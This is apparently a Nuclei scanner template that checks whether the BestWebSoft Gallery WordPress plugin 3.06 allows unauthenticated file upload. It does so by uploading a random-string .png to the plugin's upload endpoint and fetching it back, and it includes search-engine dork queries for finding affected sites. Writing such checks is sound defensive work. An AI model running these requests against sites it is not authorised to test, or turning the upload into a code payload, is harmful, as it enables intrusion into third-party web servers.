id: wp-gallery-file-upload

info:
  name: WordPress Plugin Gallery 3.06 - Arbitrary File Upload
  author: r3Y3r53
  severity: high
  description: |
    The Gallery by BestWebSoft WordPress plugin was affected by an Unauthenticated File Upload PHP Code Execution security vulnerability.
  remediation: Fixed in version 3.1.1
  reference:
    - https://www.exploit-db.com/exploits/18998
    - http://wordpress.org/extend/plugins/gallery-plugin/
    - http://downloads.wordpress.org/plugin/gallery-plugin.3.06.zip
    - https://wpscan.com/vulnerability/049c8518-1f52-4aa4-b0b3-218289727353
  classification:
    cpe: cpe:2.3:a:bestwebsoft:gallery:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: /wp-content/plugins/gallery-plugin/
    google-query: inurl:/wp-content/plugins/gallery-plugin/
    product: gallery
    vendor: bestwebsoft
  tags: wp,wp-plugin,wordpress,wpscan,file-upload,intrusive

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /wp-content/plugins/gallery-plugin/upload/php.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=WebKitFormBoundary20kgW2hEKYaeF5iP

        --WebKitFormBoundary20kgW2hEKYaeF5iP
        Content-Disposition: form-data; name="qqfile"; filename="{{filename}}.png"

        {{randstr}}

        --WebKitFormBoundary20kgW2hEKYaeF5iP--
      - |
        GET /wp-content/plugins/gallery-plugin/upload/files/{{filename}}.png HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_1, "text/html") && contains(content_type_2, "image/png")'
          - 'contains(body_1, "success:true") && contains(body_2, "{{randstr}}")'
        condition: and
# digest: 4a0a00473045022100ad3387f8e6895a0e43973283dbefd4cc77743bf2aca49258620977c09dcc6eef022079e8aa5344c31fc3fe0ec4792eab09b756b2463057e3e8ccac4584ab2c1efd5c:922c64590222798bb761d5b6d8e72950